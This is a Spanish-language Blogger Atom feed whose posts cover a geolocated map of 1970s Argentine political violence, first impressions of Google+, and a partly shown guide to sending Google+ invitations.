<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8700396122275014565</id><updated>2011-12-10T09:46:39.993-08:00</updated><category term='banelco'/><category term='google+'/><category term='control'/><category term='highlightning'/><category term='edgelist'/><category term='ekoparty'/><category term='candidatos'/><category term='ai'/><category term='funcional'/><category term='invitaciones'/><category term='bruce'/><category term='new'/><category term='psicomagia'/><category term='privacy'/><category term='zalewski'/><category term='analytics'/><category term='mardel'/><category term='textmining'/><category term='memoria'/><category term='lyrics'/><category term='convertir'/><category term='locks'/><category term='politization'/><category term='copy'/><category term='email'/><category term='xss'/><category term='socialnetwork'/><category term='modulus11'/><category term='mit'/><category term='mdq'/><category term='toool'/><category term='facebook'/><category term='tuplets'/><category term='semantic'/><category term='workshop'/><category term='talk'/><category term='buscador'/><category term='juego'/><category term='contacts'/><category term='huge'/><category term='copied'/><category term='caos'/><category term='2007'/><category term='bluehat'/><category term='manipulation directed'/><category term='presidenciales'/><category term='artificial'/><category term='beta'/><category term='gedit'/><category term='orable'/><category term='church'/><category term='worm'/><category term='circle'/><category term='posts'/><category term='rings'/><category term='blogging'/><category term='inyecciones'/><category term='error'/><category term='opensourceinitiative'/><category term='salud'/><category term='google'/><category term='probabilistico'/><category term='f8'/><category term='poem'/><category term='openclyb'/><category term='secure'/><category term='duplicadas'/><category term='cloudlight'/><category term='usa'/><category term='tag'/><category term='Sonia'/><category term='recuerdos'/><category term='patagonia'/><category term='currency'/><category term='logo'/><category term='fotografia'/><category term='institute'/><category term='dictadura'/><category term='opensource'/><category term='comercio'/><category term='biology'/><category term='gephi'/><category term='guerrilla'/><category term='uptime'/><category term='hoax'/><category term='cientifico'/><category term='roland'/><category term='camara'/><category term='barthes'/><category term='medicina'/><category term='redes'/><category term='universal'/><category term='obra social'/><category term='comico'/><category term='biobrick'/><category term='number'/><category term='redsocial'/><category term='gym'/><category term='pro'/><category term='sqli'/><category term='retweets'/><category term='deja-vu'/><category term='size'/><category term='bitly'/><category term='networks'/><category term='argentina'/><category term='turing'/><category term='parasitic'/><category term='bigbrother'/><category term='plagiarism'/><category term='twitter'/><category term='godel'/><category term='n-cuerpos'/><category term='problema'/><category term='publica'/><category term='virus'/><category term='DoS'/><category term='googeplus'/><category term='john'/><category term='debt'/><category term='automotor'/><category term='mobile'/><category term='plus'/><category term='deuda'/><category term='plagio'/><category term='duplicado'/><category term='web'/><category term='3d'/><category term='lucida'/><category term='seguridad'/><category term='tagged'/><category term='encrypted'/><category term='wolframalpha'/><category term='storage'/><category term='cuit'/><category term='settings'/><category term='syntax'/><category term='dvd'/><category term='computabilidad'/><category term='fisica'/><category term='test'/><category term='standard'/><category term='syntetic'/><category term='metanoia'/><category term='osde'/><category term='violencia'/><category term='lockpicking'/><category term='banco'/><category term='pasar'/><category term='bauman'/><category term='weblogs'/><category term='taxonomy'/><category term='codigo'/><category term='humor'/><category term='future'/><category term='asp'/><category term='wikileaks'/><category term='estimate'/><category term='generative'/><category term='revolución'/><category term='alloy'/><category term='security'/><category term='local'/><category term='semantica'/><category term='informatica'/><category term='models'/><category term='libre'/><category term='visualizacion'/><category term='language'/><category term='ngd'/><category term='schneier'/><category term='bash'/><category term='newworldorder'/><category term='telefono'/><category term='beatles'/><category term='photo'/><category term='posix'/><category term='theft'/><category term='credits'/><category term='minsky'/><category term='privacidad'/><category term='shamelessly'/><category term='singularity'/><category term='débito'/><category term='categorization'/><category term='owned'/><category term='widget'/><category term='RTs'/><category term='billete'/><category term='vhsadvd'/><category term='users'/><category term='url'/><category term='proxy'/><category term='trust'/><category term='tarjetas'/><category term='javascript'/><category term='fed'/><category term='politica'/><category term='social'/><category term='youtube'/><category term='graph'/><category term='paul'/><category term='1984'/><category term='shortener'/><category term='wolfram'/><category term='dinero'/><category term='central'/><category term='python'/><category term='invitar'/><category term='intelligence.'/><category term='filosofia'/><category term='estocastico'/><category term='herralfer'/><category term='tinyurl'/><category term='candado'/><category term='friends'/><category term='sistema'/><category term='idea'/><category term='viral'/><category term='research'/><category term='vhs'/><category term='conspiracy'/><category term='politics'/><category term='programming'/><category term='francés'/><category term='lisp'/><category term='ghost'/><category term='buenosaires'/><category term='googleplus'/><category term='montoneros'/><category term='alpha'/><category term='eoonomy'/><category term='appengine'/><category term='70s'/><category term='privado'/><category term='microsoft'/><category term='obolog'/><category term='qrcodes'/><category term='cuil'/><category term='reduccionismos'/><category term='identidad'/><category term='complejas'/><category term='estimation'/><category term='money'/><title type='text'>blog.mechpoet.net</title><subtitle type='html'>Poesía Mecánica. Ciencia. Tecnología.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>57</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7264329288689481457</id><published>2011-12-04T06:05:00.000-08:00</published><updated>2011-12-04T06:05:14.924-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='violencia'/><category scheme='http://www.blogger.com/atom/ns#' term='montoneros'/><category scheme='http://www.blogger.com/atom/ns#' term='guerrilla'/><category scheme='http://www.blogger.com/atom/ns#' term='argentina'/><category scheme='http://www.blogger.com/atom/ns#' term='politica'/><category scheme='http://www.blogger.com/atom/ns#' term='dictadura'/><category scheme='http://www.blogger.com/atom/ns#' term='70s'/><title type='text'>Mapa de violencia política en los 70s</title><content type='html'>&lt;div style="text-align: justify;"&gt;AVISO:&amp;nbsp;Como todo tema político tan delicado cualquier palabra precisa que use de más o de menos denota facciones políticas y posturas históricas y/o personales. Así que tengan en cuenta que este artículo &lt;span class="Apple-style-span" style="font-family: inherit;"&gt;fue realizado con fines educativos y puede contener (y contiene) información incompleta, incorrecta y/o tendenciosa.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Luego de ver que había gente trabajando en analizar textos sobre la última dictadura (proyecto &lt;a href="http://mapa76.info/#"&gt;MAPA76&lt;/a&gt;, &lt;a href="http://twitter.com/#!/mapa76"&gt;twitter&lt;/a&gt;, &lt;a href="http://www.google.com.ar/url?sa=t&amp;amp;rct=j&amp;amp;q=mapa76&amp;amp;source=web&amp;amp;cd=8&amp;amp;ved=0CE4QtwIwBw&amp;amp;url=http%3A%2F%2Fvimeo.com%2F30048515&amp;amp;ei=u3LbTuLoLsP10gHOv931DQ&amp;amp;usg=AFQjCNFvL77yxXg0FQDa5C8kkLtZAxvU8A&amp;amp;sig2=67r1HCtNjCZJbQ2jMIorrw"&gt;presentación&lt;/a&gt;), se me ocurrió geolocalizar info de la última dictadura o de esa época o década. Posibles aplicaciones que pensaba en una lluvia de ideas (&lt;i&gt;brainstorming&lt;/i&gt;) fueron:&lt;/div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Geolocalizar funcionarios de la dictadura en un mapa actual. Hicieron algo parecido para un &lt;a href="http://www.abuelas.org.ar/material/documentos/mapajuicios25deagosto2010.pdf"&gt;mapa de juicios a genocidas&lt;/a&gt;. Técnicamente con una lista de gente se podría geolocalizar también cualquier tipo de actores.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Detectar si hay errores en las lista de gente desaparecida. Por ejemplo gente que fue registrada como desaparecida pero actualmente tienen domicilio.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Hacer una animación geográfica y temporal del período incluyendo atentados subversivos y detenciones forzosas de personas para comprender el período geográficamente.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Al final me incliné por hacer un prototipo de animación geográfica y temporal. Usé dos fuentes de datos, porque entendía que debía visualizar atentados subversivos y desapariciones de personas. Lo cual llevó a observar a gente que vió el mapa que el mismo defendía la &lt;a href="http://es.wikipedia.org/wiki/Teor%C3%ADa_de_los_dos_demonios"&gt;Teoría de los Dos Demonios&lt;/a&gt;. A ese respecto puedo decir dos cosas:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;Estoy de acuerdo en incluir la violencia guerrillera en el análisis: "&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;la represión emprendida por la&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.wikipedia.org/wiki/Proceso_de_Reorganizaci%C3%B3n_Nacional" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Proceso de Reorganización Nacional"&gt;dictadura militar&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&amp;nbsp;no puede ser analizada sin considerar también el accionar de los grupos de&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.wikipedia.org/wiki/Guerrilla_urbana" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Guerrilla urbana"&gt;guerrilla urbana&lt;/a&gt;".&lt;/li&gt;&lt;li style="text-align: justify;"&gt;No estoy de acuerdo que en que la violencia ejercida por la guerrilla sea comparable con la ejercida por el Estado. En el mapa se vé, por ejemplo, que la actividad violenta del Estado oficial en esa época es mucho mayor que la clandestina ejercida por la guerrilla: no comparto que "&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;los actos de violencia y terrorismo perpetrados por las&amp;nbsp;&lt;/span&gt;&lt;a class="mw-redirect" href="http://es.wikipedia.org/wiki/Fuerzas_armadas_de_Argentina" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Fuerzas armadas de Argentina"&gt;Fuerzas Armadas&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&amp;nbsp;durante el&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.wikipedia.org/wiki/Terrorismo_de_Estado_en_Argentina_en_las_d%C3%A9cadas_de_1970_y_1980" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Terrorismo de Estado en Argentina en las décadas de 1970 y 1980"&gt;Terrorismo de Estado en Argentina&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&amp;nbsp;en las décadas de 1970 y 1980‎ en la&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.wikipedia.org/wiki/Argentina" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Argentina"&gt;Argentina&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&amp;nbsp;son comparables y se relacionan a los&amp;nbsp;&lt;/span&gt;&lt;a href="http://es.wikipedia.org/wiki/V%C3%ADctimas_de_las_organizaciones_guerrilleras_en_Argentina_en_la_d%C3%A9cada_de_1970" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: none; background-origin: initial; color: #0645ad; font-family: sans-serif; font-size: 13px; line-height: 19px; text-decoration: none;" title="Víctimas de las organizaciones guerrilleras en Argentina en la década de 1970"&gt;actos de violencia y terrorismo&lt;/a&gt;&lt;span class="Apple-style-span" style="background-color: white; font-family: sans-serif; font-size: 13px; line-height: 19px;"&gt;&amp;nbsp;de las organizaciones guerrilleras&lt;/span&gt;".&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;La fuente de datos de desaparecidos fue el &lt;a href="http://www.desaparecidos.org/GrupoF/des/lugar.html"&gt;Grupo Farenheit&lt;/a&gt;&amp;nbsp;(esta caído ahora parece, &lt;a href="http://www.assembla.com/code/miscenaleas/subversion/nodes/mapaviolenciapolitica70s/desap.csv"&gt;mi copia aca&lt;/a&gt;). La fuente de datos de atentados subversivos es una lista que &lt;a href="http://es.metapedia.org/wiki/Montoneros"&gt;círcula por foros, enciclopedias de tinte nacionalistas y círculos informales&lt;/a&gt;&amp;nbsp;(&lt;a href="http://www.assembla.com/code/miscenaleas/subversion/nodes/mapaviolenciapolitica70s/atentados.csv"&gt;mi copia aca&lt;/a&gt;). &amp;nbsp;No es exclusiva de la organización guerrillera &lt;a href="http://es.wikipedia.org/wiki/Montoneros"&gt;Montoneros&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.assembla.com/code/miscenaleas/subversion/node/blob/mapaviolenciapolitica70s/mapaviolenciapolitica70s.html"&gt;VER MAPA EN LA SOLAPA COMPLETA&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;br /&gt;&lt;iframe height="300" src="http://www.assembla.com/code/miscenaleas/subversion/node/blob/mapaviolenciapolitica70s/mapaviolenciapolitica70s.html" width="100%"&gt;&amp;amp;lt;p&amp;amp;gt;&amp;amp;amp;amp;lt;br /&amp;amp;amp;amp;gt;   &amp;amp;amp;amp;lt;p&amp;amp;amp;amp;gt;Your browser does not support iframes.&amp;amp;amp;amp;lt;/p&amp;amp;amp;amp;gt;&amp;amp;lt;/p&amp;amp;gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7264329288689481457?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7264329288689481457/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/12/mapa-de-violencia-politica-en-los-70s.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7264329288689481457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7264329288689481457'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/12/mapa-de-violencia-politica-en-los-70s.html' title='Mapa de violencia política en los 70s'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-6510606955187129168</id><published>2011-08-09T11:54:00.000-07:00</published><updated>2011-08-09T11:54:49.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='plus'/><category scheme='http://www.blogger.com/atom/ns#' term='google+'/><category scheme='http://www.blogger.com/atom/ns#' term='googeplus'/><category scheme='http://www.blogger.com/atom/ns#' term='redsocial'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><category scheme='http://www.blogger.com/atom/ns#' term='socialnetwork'/><title type='text'>Primeras impresiones de Google Plus (Google+)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ekrf3xMOWE4/TkF-_0ifsRI/AAAAAAAAAcg/OE-wZ5bRAmI/s1600/favicon.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-ekrf3xMOWE4/TkF-_0ifsRI/AAAAAAAAAcg/OE-wZ5bRAmI/s1600/favicon.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;Introducción&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Apenas nos enteramos del nuevo producto de redes de sociales de Google (&lt;a href="https://plus.google.com/"&gt;Google Plus&lt;/a&gt;, 2011) recordamos el fracaso en difusión y retención de usuarios del mayor lanzamiento de Google de 2010: &lt;a href="https://wave.google.com/wave"&gt;Google Wave&lt;/a&gt;. Nos imaginamos que Wave fracasó por intentaron revolucionar con una alternativa experimental un nicho (e-mail) que ya tenían dominado (o en vías de dominar, por superioridad técnica de GMail).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Uno podría especular que Google ya tiene varias redes sociales en este momento y no necesita lanzar otra red social. Por ejemplo la red específica de videos YouTube contabiliza aproximadamente &lt;a href="http://www.google.com.ar/search?hl=es-419&amp;amp;source=hp&amp;amp;biw=&amp;amp;bih=&amp;amp;q=site%3Awww.youtube.com%2Fuser&amp;amp;btnG=Buscar+con+Google"&gt;176 millones de usuarios sociales&lt;/a&gt;. Pero si comparamos este número contra los &lt;a href="http://blog.mechpoet.net/2011/05/estimating-facebook-number-of-users.html"&gt;1000 millones actuales de Facebook&lt;/a&gt; y los supuestos 200 millones de Twitter (una&amp;nbsp;&lt;a href="http://www.google.com.ar/#q=site:twitter.com+inurl:followers&amp;amp;hl=es-419"&gt;búsqueda web&lt;/a&gt; dice 25M versus &lt;a href="http://blogs.forbes.com/oliverchiang/2011/01/19/twitter-hits-nearly-200m-users-110m-tweets-per-day-focuses-on-global-expansion/"&gt;noticias oficiaales&lt;/a&gt;&amp;nbsp;que dice 200M). Google también tiene la red social Orkut con más de 100 millones de usuarios sociales (según sus dichos, porque según una búsqueda &lt;a href="http://www.google.com.ar/#hl=es-419&amp;amp;q=site:orkut.com&amp;amp;oq=site:orkut.com"&gt;no hay mas de 31 millones de páginas públicas&lt;/a&gt;). El problema aparente de Orkut es que se usa principalmente en &lt;a href="http://www.google.com.ar/#hl=es-419&amp;amp;q=site:orkut.com+brazil"&gt;Brasil&lt;/a&gt; y en la &lt;a href="http://www.google.com.ar/#hl=es-419&amp;amp;q=site:orkut.com+india"&gt;India&lt;/a&gt;, paises del Tercer Mundo. (Estamos hablando de perfiles, usuario sociales, &lt;i&gt;no&lt;/i&gt; de la &lt;i&gt;visitas únicas&lt;/i&gt; que contabilizan los sitios de &lt;i&gt;tracking web que es un número mayor en general&lt;/i&gt;.) Nos imaginamos que no quieren rediseñar YouTube, uno de sus productos de cabecera, para agregarle la funcionalidad que necesita para competir con Facebook. Así que aquí estamos con Google Plus. Lo que sí se ve es que Google absorbió PicasaWeb y Buzz (productos que no son líderes en su segmento) para aprovechar sus &lt;i&gt;features&lt;/i&gt; y su masa crítica de usuarios. No olvidemos que unos de los principales usos de Facebook es como red social de fotos y como red social de nanoblogging.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Principales características&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En una primera impresión se pueden observar en Google+ (G+) tres tipos de características:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ol&gt;&lt;li&gt;Las copiadas a Facebook u otras redes sociales.&lt;/li&gt;&lt;li&gt;Las que viene de otros servicios de Google, ahora incorporados/conectados a Google+.&lt;/li&gt;&lt;li&gt;Las carácterísticas novedosas, para darle una vuelta de tuerca al asunto y completar el paquete.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;br /&gt;1. Las características copiadas a Facebook o a otras redes sociales son:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Perfil personal y detallado de cada usuario.&lt;/li&gt;&lt;li&gt;Alertas en rojo aparecen en la barra superior cuando ocurre un evento que nos puede interesar (por ejemplo, comentan un artículo nuestro). Esta barra ahora unificada para todos los servicios de Google es decir las alertas en teoría invaden todos los servicios. En particular, comprobamos que aparecen en Gmail. &lt;/li&gt;&lt;li&gt;Publicación de contenido en un muro personal de cada usuario. En G+ aparece como &lt;i&gt;Posts &lt;/i&gt;en el perfil de usuario.&lt;/li&gt;&lt;li&gt;El muro de los contactos se mezcla e integra en tiempo real en una lista de publicaciones.&amp;nbsp;En G+ lo llaman&amp;nbsp;&lt;i&gt;stream&amp;nbsp;&lt;/i&gt;(flujo, caudal o corriente).&lt;/li&gt;&lt;li&gt;Sugerencias de nuevos contactos, para extender nuestras listas de amigos.&lt;/li&gt;&lt;li&gt;Mensajería privada entre usuarios.&lt;/li&gt;&lt;li&gt;Carpetas de fotos.&lt;/li&gt;&lt;li&gt;Listas de contactos clasificadas a mano.&lt;/li&gt;&lt;li&gt;Teleconferencia (video y audio) grupal, similar a lo más útil de Skype.&lt;/li&gt;&lt;li&gt;Comentarios y boton de gusto (+1) para las publicaciones.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;2.&amp;nbsp;Las que viene de otros servicios de Google:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Para las carpetas de fotos G+ integra directamente los albumes de Google Picasa Web, es decir son los mismos albumes de el mismo usuario/login (e-mail) de Gmail.&lt;/li&gt;&lt;li&gt;Para teléfonos móviles aprovecharon la penetración de mercado que tiene Android y su versión de G+ para móviles se integra fuertemente con esa plataforma. El objetivo es compartir contenido móvil en G+.&lt;/li&gt;&lt;li&gt;Parece que Hangouts, el &lt;i&gt;feature &lt;/i&gt;de teleconferencia de G+ es tecnicamente una extensión del chat grupal de Gmail pero que incluye también video y audio grupal (Gmail tiene chat grupal y teleconferencia individual solamente).&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;3. Características novedosas:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Listas de contactos faciles de usar (Circles en G+). Facebook (FB) tiene la posibilidad de clasificar a los contactos de un usuario en diferentes lista, pero es solo una opción bastante díficil de usar (hay que buscarla y es más incómoda la confección de las listas). La ventaja que tiene G+ es que mediante &lt;i&gt;drag&amp;amp;drop &lt;/i&gt;la confección de la lista es mucho más sencilla.&lt;/li&gt;&lt;li&gt;Recomendador de noticias temáticas (Sparks). Esta función solo se entiende para alimentar las publicaciones de usuarios (botón de &lt;i&gt;Share&lt;/i&gt;) que no tengan nada que publicar. Se listas actuales de noticias basadas en una consulta disjuntiva (OR) de etiquetas. Esta carácterística es novedosa dentro de una red social pero existen servicio externo del mismo tipo. Por ejemplo Google News es mejor que Sparks porque se pueden hacer cualquier tipo de consultas (AND/conjuntivas también) pero News no tiene el botón directo de compartir (&lt;i&gt;Share&lt;/i&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;Conclusión&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como nota final vamos a recordar que el nombre en código interno del proyecto en Google+ era&amp;nbsp;&lt;i&gt;Emerald Sea&lt;/i&gt; (Mar Esmeralda). Siendo esmeralda el color de los dólares nos da pensar que esperan sacarle una porción importante a Facebook de la torta de servicios de redes sociales y luego navegar en el verde. O tal vez simplemente miraron por la ventana su moderno &lt;a href="http://www.studiogblog.com/wp-content/uploads/2010/07/google-garden1.jpg"&gt;jardín&lt;/a&gt;. En breve también analizaremos las características de privacidad de G+, teniendo en cuenta que es lo que más preocupa a los usuarios de redes sociales.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.studiogblog.com/wp-content/uploads/2010/07/google-garden1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="244" src="http://www.studiogblog.com/wp-content/uploads/2010/07/google-garden1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Leer también "&lt;a href="http://blog.mechpoet.net/2011/07/como-invitar-contactos-google-mandar.html"&gt;Como invitar contactos a Google+ (mandar invitaciones)&lt;/a&gt;".&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-6510606955187129168?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/6510606955187129168/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2011/08/primeras-impresiones-de-google-plus.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6510606955187129168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/6510606955187129168'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2011/08/primeras-impresiones-de-google-plus.html' title='Primeras impresiones de Google Plus (Google+)'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-ekrf3xMOWE4/TkF-_0ifsRI/AAAAAAAAAcg/OE-wZ5bRAmI/s72-c/favicon.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1415342248155576082</id><published>2011-07-14T10:48:00.001-07:00</published><updated>2011-07-14T14:05:48.343-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='invitar'/><category scheme='http://www.blogger.com/atom/ns#' term='invitaciones'/><category scheme='http://www.blogger.com/atom/ns#' term='beta'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='googleplus'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Como invitar contactos a Google+ (mandar invitaciones)</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;b&gt;Descarga: tengan en cuenta que no me hago responsable de cualquier problema de privacidad o seguridad que tengan en Google+, es un producto experimental y solo recomiendo que lo prueben, no pongan información personal y preferentemente no asocien el producto a su cuenta de e-mail personal.&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta es una pequeña receta para invitar a tus amigos a Google Plus (Google+) una vez que ustedes ya tienen cuenta.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Una vez dentro de Google+ vayan a la sección de Circles, logo con los circulitos.&lt;/div&gt;&lt;a href="http://www.jataliewebdesign.com/wp-content/uploads/2011/07/Google-Plus-Circles.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="http://www.jataliewebdesign.com/wp-content/uploads/2011/07/Google-Plus-Circles.jpg" border="0" alt="" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 168px; height: 152px; " /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Ahí dentro hacen click en &lt;i&gt;Add New Person&lt;/i&gt; y agregan &lt;i&gt;e-mail&lt;/i&gt; y nombre de la persona. Debería aparecer para el caso de &lt;i&gt;Alicia Private Life&lt;/i&gt; asi en la lista de gente.&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/-ikrUBC6BLzE/Th8uBn-7-dI/AAAAAAAAAbk/wYayre15rZw/s1600/alice.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="http://3.bp.blogspot.com/-ikrUBC6BLzE/Th8uBn-7-dI/AAAAAAAAAbk/wYayre15rZw/s400/alice.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5629268664684116434" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 150px; height: 65px; " 